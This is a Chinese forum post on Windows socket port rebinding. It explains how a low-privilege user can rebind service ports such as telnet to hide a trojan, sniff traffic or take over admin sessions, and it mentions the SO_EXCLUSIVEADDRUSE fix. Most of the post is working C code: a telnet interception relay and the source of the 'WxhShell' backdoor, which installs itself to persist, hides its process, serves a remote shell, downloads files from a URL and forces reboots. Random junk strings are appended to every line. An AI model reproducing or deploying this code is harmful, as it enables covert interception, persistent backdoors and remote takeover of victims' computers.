社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18484阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *]<M%q!<6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Igowz7  
Nj8 `<Sl  
  saddr.sin_family = AF_INET; 7 &y'\  
zZ rUS'8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (;RmfE'PX  
1P (5+9"s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MeD}S@H  
a[ Pyxx_K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #G'Y 2l  
 V6opV&  
  这意味着什么?意味着可以进行如下的攻击: 8Z YF%  
4bV&U=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5F#Q1gP-  
4/6?wX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b`?$;5  
SFKfsb!C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 99GzhX_  
0L3v[%_j"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -0Ws3  
vuL;P"F4&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JHF <vyt5<  
R#D>m8&}3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _gAU`aO^  
}/dGC;p"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  y5"b(nb  
2vb{PQ  
  #include \Y37wy4  
  #include t0^chlJP$  
  #include O+8]y4%5  
  #include    7x 6q:4Ep\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3aD\J_  
  int main() x~!gGfP  
  { pDw^~5P  
  WORD wVersionRequested; _J|cJ %F>%  
  DWORD ret; 0keqtr  
  WSADATA wsaData; ~353x%e'  
  BOOL val; %(f&).W  
  SOCKADDR_IN saddr; [(*ObvEF  
  SOCKADDR_IN scaddr; L?aaR %6#  
  int err; >bgx o<  
  SOCKET s; +(a}S$C  
  SOCKET sc; qFqK. u  
  int caddsize; rsr}%J  
  HANDLE mt; ,CGq_>Z  
  DWORD tid;   M/!5r  
  wVersionRequested = MAKEWORD( 2, 2 ); m%?+;V  
  err = WSAStartup( wVersionRequested, &wsaData ); _'CYS3-P3  
  if ( err != 0 ) { hv]}b'M$  
  printf("error!WSAStartup failed!\n"); w+^z{3>  
  return -1; !(%^Tg=  
  } M1>2Q[h7  
  saddr.sin_family = AF_INET; TGSUbBgU  
   ]]R!MnU:$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8y9`xRy  
h;s~I/e(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e!eUgD  
  saddr.sin_port = htons(23); MQ~OG9.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GjHV|)^  
  { VG)Y$S8.>  
  printf("error!socket failed!\n"); EWU(Al T  
  return -1; '[T#d!T  
  } '4T]=s~N  
  val = TRUE; cH== OM7&-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /o/0 9K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GS<aXh k  
  { kdr?I9kwW  
  printf("error!setsockopt failed!\n"); 1\hh,s  
  return -1; 1u%e7  
  } "s?!1v(v  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?zS t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1cA4-,YO>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ke 5fe#  
l^LYSZg'R8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #3+-vyZm  
  { ZysZS%  
  ret=GetLastError(); z~Ec*  
  printf("error!bind failed!\n"); iC$mb~G  
  return -1; T+$Af,~  
  } AV t(e6H  
  listen(s,2); [~%\:of70n  
  while(1) "Z\^dR  
  { ,(D:cRN  
  caddsize = sizeof(scaddr); /d1 B-I  
  //接受连接请求 bOY<C%;C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KRL9dD,&  
  if(sc!=INVALID_SOCKET) BLno/JK0}  
  { {I]X-+D|_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 96 oztUK  
  if(mt==NULL) UNc[h&@_  
  { [6$n  
  printf("Thread Creat Failed!\n");  C0Oe$& _  
  break; xn=/SIS  
  } 6)@Y41H]C  
  } SccaX P  
  CloseHandle(mt); 0/vmj,&B(  
  } DbL=2  
  closesocket(s); xUKn  
  WSACleanup(); bPe|/wp  
  return 0; !_ng_,J  
  }   O|Z5SSlk  
  DWORD WINAPI ClientThread(LPVOID lpParam) t+2!"Jr  
  { Z^fkv  
  SOCKET ss = (SOCKET)lpParam; 2G(RQ\Ro*  
  SOCKET sc; *h H\H  
  unsigned char buf[4096]; 9"#,X36  
  SOCKADDR_IN saddr; &B;M.sz~C4  
  long num; ,rC$~ &  
  DWORD val; \["'%8[:gR  
  DWORD ret; (b]r_|'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [VsTyqV a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   AJ:(NV1=  
  saddr.sin_family = AF_INET; &' 0|U{|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A<+veqb4  
  saddr.sin_port = htons(23); /c>@^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jxq;Uu9  
  { Kc%GxD`  
  printf("error!socket failed!\n"); $v6`5;#u  
  return -1; oa K&!$S]  
  } ]W7e2:Hra  
  val = 100; a%fMf[Fu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5d4/}o}%"  
  { >@mvb@4*  
  ret = GetLastError(); Q#Vg5H4  
  return -1; +@ j@#~=K  
  } zS6oz=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^e 1Ux  
  { Pr!H>dH8o  
  ret = GetLastError(); \'BA}v &/  
  return -1; 1 po.Cmx  
  } Zdm7As]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +W8L^Wl  
  { &t1Uk[  
  printf("error!socket connect failed!\n"); cGE,3dsF[  
  closesocket(sc); y>5??q  
  closesocket(ss); Jw b'5[R  
  return -1; RAh4#8]  
  } $YNWT\FE  
  while(1) OX  r%b  
  { t.ci!#/d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FVgE^_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 z+k[HE^S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a9"1a'  
  num = recv(ss,buf,4096,0); Ei Yj`P  
  if(num>0) o-f;$]yp>  
  send(sc,buf,num,0); ;Sqn w  
  else if(num==0) GjfPba4>  
  break; 4dgo*9  
  num = recv(sc,buf,4096,0); MKr)6PG,  
  if(num>0) 9r efv  
  send(ss,buf,num,0); j$5S_]2  
  else if(num==0) ],3#[n[ m  
  break; RXbhuI  
  } s[}4Q|s%  
  closesocket(ss); y-/,,,r  
  closesocket(sc); V?0Yzg$sy  
  return 0 ; a#k=! W  
  } #AN]mH  
3R=R k  
\mIm}+!H  
========================================================== eBs4:R_i  
*>#mI/#}  
下边附上一个代码,,WXhSHELL ]DO ~7p[  
O #  
========================================================== + bU*"5"  
FB\lUO)U\c  
#include "stdafx.h" keMfK ]9  
B'kV.3t  
#include <stdio.h> D J:N  
#include <string.h> w9W0j  
#include <windows.h> '20SoVp  
#include <winsock2.h> I/&uiC{l@  
#include <winsvc.h> RY4b <i3  
#include <urlmon.h> t V:oBT*  
5x} XiMM  
#pragma comment (lib, "Ws2_32.lib") t'.oty=  
#pragma comment (lib, "urlmon.lib") )}[:.Zg,3/  
3SMb#ce*o  
#define MAX_USER   100 // 最大客户端连接数 GcpAj9  
#define BUF_SOCK   200 // sock buffer '/[9Xwh9  
#define KEY_BUFF   255 // 输入 buffer jlA?JB  
-{=c T?"+  
#define REBOOT     0   // 重启 _Dv<  
#define SHUTDOWN   1   // 关机 D#pZN,'  
5'mpd  
#define DEF_PORT   5000 // 监听端口 dPtQ Sa  
pp!>:%  
#define REG_LEN     16   // 注册表键长度 "4,Zox{^  
#define SVC_LEN     80   // NT服务名长度 ZnVx 'Y  
[/Figr]  
// 从dll定义API Onqd2'%<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jm5&6=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .Y^UPxf@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `Qg#`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D{J+}*y  
G=Qslrtg  
// wxhshell配置信息 vvDaL$  
struct WSCFG { Og8'K=O#  
  int ws_port;         // 监听端口 $d +n},[C{  
  char ws_passstr[REG_LEN]; // 口令 =64%eF  
  int ws_autoins;       // 安装标记, 1=yes 0=no .0eHP  
  char ws_regname[REG_LEN]; // 注册表键名 Bp.z6x4  
  char ws_svcname[REG_LEN]; // 服务名 ~nSGN%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ndY1j5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NyTGvBf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F[65)"^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >d{O1by=d9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a BHV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Kr*s]O  
pH'1be{K  
}; [8b,}i 1  
C K{.Ic^  
// default Wxhshell configuration u{/!BCKE  
struct WSCFG wscfg={DEF_PORT, S[_Hc$7U  
    "xuhuanlingzhe", G3.MS7 J  
    1, * YhX6J1  
    "Wxhshell", pR VL}^Rk  
    "Wxhshell", m&h5u,  
            "WxhShell Service", N-+`[8@(P<  
    "Wrsky Windows CmdShell Service", 2qY+-yOEt  
    "Please Input Your Password: ", G#~6a%VW  
  1, o3mxtE]  
  "http://www.wrsky.com/wxhshell.exe", -c1$>+  
  "Wxhshell.exe" gkN|3^  
    }; NyJ=^=F#  
R^i8AbFW  
// 消息定义模块 6-'Y*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <<Fk[qMA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1HBdIWhHv.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SAa hkX  
char *msg_ws_ext="\n\rExit."; e?&4;  
char *msg_ws_end="\n\rQuit."; tVf1]3(_>  
char *msg_ws_boot="\n\rReboot..."; TAbC-T.EV  
char *msg_ws_poff="\n\rShutdown..."; )$wX~k  
char *msg_ws_down="\n\rSave to "; (S@H'G"  
54A ndyeA  
char *msg_ws_err="\n\rErr!"; ` _+j+  
char *msg_ws_ok="\n\rOK!"; d9hJEu!Lu  
^ H,oI*  
char ExeFile[MAX_PATH]; Tn# >"Ag  
int nUser = 0; O*<,lq 0K  
HANDLE handles[MAX_USER]; D:uBr|('  
int OsIsNt; /FZ@Z]Q0G  
9tnW:Nw~  
SERVICE_STATUS       serviceStatus; Ve4!MM@ti  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'WUevPmt  
}b#KV?xgW  
// 函数声明 O1nfz>L`  
int Install(void); XZaei\rUn)  
int Uninstall(void); hb>,\46}  
int DownloadFile(char *sURL, SOCKET wsh); 8bB'[gJ]{  
int Boot(int flag); ypuW}H%`  
void HideProc(void); *lN>RWbM%  
int GetOsVer(void); | Wrf|%p  
int Wxhshell(SOCKET wsl); S*o%#ZJN  
void TalkWithClient(void *cs); Ou _bM n  
int CmdShell(SOCKET sock); /lQGFLZL  
int StartFromService(void); )ow|n^D($M  
int StartWxhshell(LPSTR lpCmdLine); \pzqUTk  
.[-d( #l{l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X9f!F2x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :VPZGzK4  
B6gSt3w.  
// 数据结构和表定义 =NH p%|  
SERVICE_TABLE_ENTRY DispatchTable[] = * Yr)>;^  
{ #^- U|~,  
{wscfg.ws_svcname, NTServiceMain}, Z[baQO  
{NULL, NULL} ;[-dth  
}; Tsez&R$k  
D]9I-|  
// 自我安装 fjUyx:  
int Install(void) "8Ud&o  
{ CQo<}}-o  
  char svExeFile[MAX_PATH]; n lsQf3  
  HKEY key; i#t)tM"  
  strcpy(svExeFile,ExeFile); ,X&lVv#  
9S0I<<m  
// 如果是win9x系统,修改注册表设为自启动 ZGHkW9b&  
if(!OsIsNt) { 7_WD)Y2yS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a_YE[6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y>vr Uxgo  
  RegCloseKey(key); l@FPTHq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -hf)%o$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sXm/+I^  
  RegCloseKey(key); 6@-VLO))O  
  return 0; 'aQ"&GX@  
    } P1b5=/}:V  
  } e9;<9uX  
} zg!;g`Z@S  
else { a%"My;8  
AF4:v<EN  
// 如果是NT以上系统,安装为系统服务 K@P5]}'#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m$xL#omD  
if (schSCManager!=0) 9 ve q  
{ +53 Tf  
  SC_HANDLE schService = CreateService q/Dc*Qn m  
  ( ~^QL"p:5|  
  schSCManager, 12*'rU;*  
  wscfg.ws_svcname, i DV.L  
  wscfg.ws_svcdisp, @Iz vObK  
  SERVICE_ALL_ACCESS, "8wRx Dr+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [ Y_6PR  
  SERVICE_AUTO_START, XUmL8  
  SERVICE_ERROR_NORMAL, =(ts~^  
  svExeFile, 2]n"7Z8(v8  
  NULL, P8DY*B k  
  NULL, 0 !yvcviw  
  NULL, |;o#-YosP  
  NULL, 'f9 fw^  
  NULL .7TQae%  
  ); i $H aE)qZ  
  if (schService!=0) TJ3CXyRq  
  { & IVwm"  
  CloseServiceHandle(schService); 3Xgf=yG:M  
  CloseServiceHandle(schSCManager); ]q DhGt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )&}\2NK6L  
  strcat(svExeFile,wscfg.ws_svcname); [$_d|Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |e@9YDZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4:-h\%  
  RegCloseKey(key); E]`)  
  return 0; lwhAF, '$  
    } #/zPAcV:  
  } 5;5;bBo~  
  CloseServiceHandle(schSCManager); 7q*L-Xe]k  
} 5inmFT?9Z  
} /Fej)WQp  
@BWroNg{  
return 1; 'NF_!D  
} A6Ttx{]  
D4[1CQ@}4D  
// 自我卸载 bj4cW\b(  
int Uninstall(void) 6]^; s1!  
{ )NJD+yQ%  
  HKEY key; K 0RY2Hiw  
jPg8>Z&D  
if(!OsIsNt) { Szrr`.']  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $lmbeW[0  
  RegDeleteValue(key,wscfg.ws_regname); U2z1HIs  
  RegCloseKey(key); hko0 ?z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zRPXmu{t  
  RegDeleteValue(key,wscfg.ws_regname); J >Zd0Dn  
  RegCloseKey(key); l`8S1~j  
  return 0; rH7|r\]r  
  } =8S*t5  
} dABmK;  
} &gxRw l  
else { @0A7d $J(  
(yWU9q)5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YlD ui8.N  
if (schSCManager!=0) y&Sl#IQ L  
{ mxsmW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [<P(S~J  
  if (schService!=0) DK 4 8  
  { >oi`%V  
  if(DeleteService(schService)!=0) { cmF&1o3_  
  CloseServiceHandle(schService); 22S4q`j  
  CloseServiceHandle(schSCManager); }yZ9pTB.?E  
  return 0; xWlj.Tjt}  
  } VE5w!of  
  CloseServiceHandle(schService); 7?<.L  
  } ?WE#%W7U  
  CloseServiceHandle(schSCManager); ?#"rI6  
} IMLk{y%6  
} {_QXx  
=?>f[J5  
return 1; \xG>>A%  
} aOHf#!/"sb  
VqqI%[!Aw  
// 从指定url下载文件 j*@^O`^v  
int DownloadFile(char *sURL, SOCKET wsh) xrDHXqH  
{ NfizX!w&  
  HRESULT hr; 4E]w4BG)  
char seps[]= "/"; }}y$T(:l  
char *token; o-\ K]  
char *file; h<2o5c|  
char myURL[MAX_PATH]; ||3%REliC  
char myFILE[MAX_PATH]; 8o43J;mA  
PjZsMHW%  
strcpy(myURL,sURL); s<VNW  
  token=strtok(myURL,seps); bb}zn'xC  
  while(token!=NULL) m` ^o<V&  
  { N9hs<b+N_  
    file=token; | Qo`K%8  
  token=strtok(NULL,seps); 0o~? ]C  
  } FrBoE#  
%suSZw`  
GetCurrentDirectory(MAX_PATH,myFILE); .%;`: dtj  
strcat(myFILE, "\\"); SV#$Cf g  
strcat(myFILE, file); -d]-R ?mQ  
  send(wsh,myFILE,strlen(myFILE),0); X!Ag7^E  
send(wsh,"...",3,0); BM5+;h !  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i]&C=X  
  if(hr==S_OK) ) =-$>75Z  
return 0; 4FURm@C6  
else wSoIU,I  
return 1; =K'X:UM  
Cw7 07  
} C+ar]Vi  
JDPn   
// 系统电源模块 {I'8+~|pZL  
int Boot(int flag) ..BIoSrj  
{ ~I[Z 2&I  
  HANDLE hToken; l~P%mVC3m  
  TOKEN_PRIVILEGES tkp; rTTde^^_  
"(bnr0  
  if(OsIsNt) { Xg+Eeg#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MLwh&I9)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !9A6DWAE$  
    tkp.PrivilegeCount = 1; @@~OA>^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {*utke]}*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |R$V[  
if(flag==REBOOT) { vbEAd)*S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9e|-sn  
  return 0; Y'-@O"pK  
} UrtA]pc3L  
else { {wsO8LX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fz/Ee1T\  
  return 0; [Q"*I2&  
} < 12ia"}  
  } ;75m 9yGo  
  else { 4lrF{S8  
if(flag==REBOOT) { 38ac~1HjE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,U`:IP/L  
  return 0; r{NCI  
} Xwz9E!m  
else { fny|^F]w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pJ8;7u  
  return 0; yM* CA,(c  
} z[Sq7bbYO  
} Nr~9] S  
O3ij/8f  
return 1; ,Dh+-}  
} K]c|v i_D  
`FS)i7-o6  
// win9x进程隐藏模块 %[3?vX  
void HideProc(void) >O0z+tj  
{ /%qw-v9qPV  
2;8I0BH*'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GJTKqr|1O  
  if ( hKernel != NULL ) |#OMrP+oi  
  { ? 2#tIND  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {7EnM1]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,orq&#*Wd  
    FreeLibrary(hKernel); = ;tDYuFc!  
  } Cn\5Vyrl  
6f=,$:S$  
return; =yT3#A~<G  
} Z\1*g k  
/NE<?t N  
// 获取操作系统版本 Q4~/Tl;  
int GetOsVer(void) <V`1?9c7D1  
{ K!AW8FnHkZ  
  OSVERSIONINFO winfo; BH`%3Mw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #:q$sKQ_$  
  GetVersionEx(&winfo); 0cGO*G2Xr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m!'moumL;  
  return 1; :A,g:B  
  else Kp]\r-5UD>  
  return 0; 4O I''i  
} x6n(BMr  
2YW| /o4  
// 客户端句柄模块 Pn?,56SD=  
int Wxhshell(SOCKET wsl) b\Wlpb=QZ  
{ 3y# U|&]{  
  SOCKET wsh; k 4HE'WY  
  struct sockaddr_in client; [ GcH4E9r  
  DWORD myID; 0fOx&"UAB  
0\B31=N(  
  while(nUser<MAX_USER) Y5dt/8Jo  
{ \`kH2`  
  int nSize=sizeof(client); 2`Dqu"TWh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7O.?I# 76  
  if(wsh==INVALID_SOCKET) return 1; hXAgT!ZD  
uT Z#85L `  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rd )_*{  
if(handles[nUser]==0) yG v7^d  
  closesocket(wsh); c }-AD r9  
else SlaHhq3  
  nUser++; z~m{'O`  
  } *UerLpf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _L^(CFE  
4uX|2nJ2!;  
  return 0; T A9Kg=_  
} z+5ZUS2~&  
qOqU CRUe:  
// 关闭 socket xs}3=&c(  
void CloseIt(SOCKET wsh) #9/^)^k  
{ hf`5NcnP  
closesocket(wsh); ZFxa2J~;  
nUser--; #^>Md59N  
ExitThread(0); :lfUVa{HN  
} w7d<Ky_C  
sw\O\%^  
// 客户端请求句柄 \3hj/   
void TalkWithClient(void *cs) Gi+ZI{)  
{ <i$ud&D  
/cXVJ(#j  
  SOCKET wsh=(SOCKET)cs; c e\|eN[  
  char pwd[SVC_LEN]; (DnrJ.QU}t  
  char cmd[KEY_BUFF]; 'JpCS  
char chr[1]; w=Yc(Y:h  
int i,j; C f(g  
/>dH\KvN  
  while (nUser < MAX_USER) { vmGGdj5aI  
-Pt']07E  
if(wscfg.ws_passstr) { q(XO_1W0V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n85d g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,7/F?!G!J  
  //ZeroMemory(pwd,KEY_BUFF); <tn6=IV  
      i=0; ytyX:e"  
  while(i<SVC_LEN) { "q]r{0  
45(n!"u65  
  // 设置超时 P 5_ l&  
  fd_set FdRead; YVW`|'7)|  
  struct timeval TimeOut;  N3m~nEj  
  FD_ZERO(&FdRead); AM:lU  
  FD_SET(wsh,&FdRead); 3$n O@rOS  
  TimeOut.tv_sec=8; RQ*oTsq  
  TimeOut.tv_usec=0; JW2~ G!@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $v\o14 v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VSDG_:!K  
'\wZKY VN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rk)h_zN  
  pwd=chr[0]; d) $B  
  if(chr[0]==0xd || chr[0]==0xa) { @\?QZX(H  
  pwd=0; 5)=YTUCk  
  break; sIz*r Gz  
  } =8W'4MC  
  i++; G|+naZ  
    } p->b Vt  
py%_XL=w,  
  // 如果是非法用户,关闭 socket P>wTp)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @#1T-*  
} ,1ceNF#oL  
8-geBlCE,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S7kZpD $  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1MYA/l$  
(!:+q$#BK  
while(1) { F- l!i/  
%$ ^ eY'-'  
  ZeroMemory(cmd,KEY_BUFF); $/|2d4O:{  
LQDU8[-  
      // 自动支持客户端 telnet标准   'FC#O%l  
  j=0; sA:k8aj  
  while(j<KEY_BUFF) { U%4 s@{7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vcz?;lg  
  cmd[j]=chr[0]; %"=qdBuk  
  if(chr[0]==0xa || chr[0]==0xd) { +et)!2N  
  cmd[j]=0; <F&53N&Zc  
  break; >,A&(\rO  
  } LG:Mksd8=4  
  j++; <wj}y0(  
    } R$M>[Kjn  
~`!{5:v  
  // 下载文件 ! +{$dB>a  
  if(strstr(cmd,"http://")) { g"|/^G_6S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bVW2Tjc:  
  if(DownloadFile(cmd,wsh)) ;Sw % t(@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g?> V4WF  
  else f6U i~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vI5'npM  
  } WX}pBmU  
  else { !v?WyGbUg  
r~Vb*~U"  
    switch(cmd[0]) { [l:}#5\]4  
  |L%d^m  
  // 帮助 du_TiI  
  case '?': { l<dtc[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i_ z4;%#?  
    break; y25L`b  
  } c7f11N!v>b  
  // 安装 "Wn8}T*  
  case 'i': { "S^ ""5  
    if(Install()) #:M <<gk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V m]u-R`{  
    else L`n Ma   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MwO`DrV  
    break; iVAAGZ>am  
    } Lf0Wc'9{  
  // 卸载 U "kD)\  
  case 'r': { %}1v-z  
    if(Uninstall()) M) Z3q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "|6763.{4  
    else qg9VK'3o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~%Xs"R1c ,  
    break; -_+,HyJP  
    } l2 mO{'|C  
  // 显示 wxhshell 所在路径 R~!md  
  case 'p': { g#s hd~e  
    char svExeFile[MAX_PATH]; U_61y;Q"  
    strcpy(svExeFile,"\n\r"); _}3NLAqg  
      strcat(svExeFile,ExeFile); Ew>lk9La(  
        send(wsh,svExeFile,strlen(svExeFile),0); G * '1[Bu  
    break; K3-Cuku  
    } {/}p"(^  
  // 重启 CaqqH`/E4  
  case 'b': { i[ 40p!~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 94b* !Z  
    if(Boot(REBOOT)) EB2 5N~7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P?$Iht.^  
    else { -I*NS6  
    closesocket(wsh); a`_w9r+v  
    ExitThread(0); .XPPd?R  
    } }Sv\$h  
